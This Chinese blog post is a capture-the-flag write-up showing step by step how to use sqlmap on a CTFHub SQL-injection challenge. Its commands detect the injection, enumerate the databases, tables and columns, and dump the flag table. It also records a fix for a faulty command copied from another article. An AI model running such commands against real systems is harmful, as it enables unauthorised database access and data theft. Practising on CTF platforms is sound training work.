渗透测试工具之sqlmap
工具介绍
一款开源的SQL注入工具,适用于win和kali(本文使用debian)。现在使用最新版sqlmap,通过安装可以实现在Python3的环境里运行。
应用环境
CTFHub平台中的SQL注入相关题目
链接:https://www.ctfhub.com
整型溢出
判断是否存在注入
sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 --batch
根据扫描结果,判断可能存在:
- 盲注
- 联合查询
爆出数据库
注意“–” “-”的使用,否则会报错
- 爆所有数据库
sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 -dbs --batch
2. 爆当前数据库
sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 --current-db --batch
得到的数据库“sqli”
爆表名
sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables --batch
得到 flag 表 与 news表,猜测flag信息在第一个表中
爆列名
sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns --batch
列名:flag
取值
其他文章的方法如下,
sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -D flag --dump --batch
不知道为什么在自己的环境里面会报错
错误提示:unable to retrieve column names for table ‘flag’ in database ‘flag’
但是,命令按照逻辑似乎没有问题
解决:更改命令顺序如下:
sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 --dump -C flag -T flag -D sqli
最后问题解决,得到最终的flag
总结
之前使用SQL注入,采用手动注入再结合python进行遍历,常常因为网络抖动,获取flag相对比较麻烦。用工具会快一些,但是原理理解还是需要手动注入实践。